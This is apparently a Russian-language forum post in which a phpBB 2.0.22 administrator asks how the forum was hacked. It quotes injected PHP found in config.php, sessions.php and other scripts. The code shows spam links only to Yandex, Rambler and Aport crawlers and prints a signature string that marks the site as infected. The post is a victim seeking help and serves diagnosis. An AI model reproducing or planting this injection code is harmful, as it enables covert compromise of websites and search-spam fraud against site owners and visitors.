incldya.php
Код: Выделить всё
<?
$refer=$_SERVER['HTTP_REFERER'];
$refer=strtolower($refer);
if ((strpos($refer, "http") === false))
{
define("LINKS","readme.txt");
if (preg_match('/(?:StackRambler|Yandex[^\)]+[^M]\)|Aport)/i', $_SERVER['HTTP_USER_AGENT'])) {
$data6 = @file (LINKS, $use_include_path = 1);
} else { //if !bot
unset ($data6);
}
$tot23 = @count($data6);
if ($tot23<5) {
$_otp =" ";
} else {
srand((float)microtime() * 1000000);
if (IsSet($data6)) {
shuffle($data6);
foreach ($data6 as $link) {
$_otp .= trim($link)."\r\n";
if ($cnt++>5) break;
}// foreach-1
}// if IsSet
$cnt = 0;
}//if <50
}//if refer
echo $_otp;
?>
Код: Выделить всё
<?
global $__inject_level;
if (empty($__inject_level))
{
function __inject_shutdown()
{
include 'incldya.php';
flush();
}
function __inject_print_sign()
{
echo "82347badsh33";
flush();
}
$__inject_level = 1;
if ($_SERVER['HTTP_USER_AGENT'] != "TeleportPro")
register_shutdown_function("__inject_shutdown");
else
register_shutdown_function("__inject_print_sign");
}
?>
config.php
constants.php
album_constants.php
template.php
sessions.php
и ещё с 10 скриптов!
Помогите, разобраться как меня хакнули. Версия форума 2.0.22, обновлял вовремя.
Похожая проблема описана так же здесь http://yarportal.ru/topic21938.html но там народ нисчем не разобрался.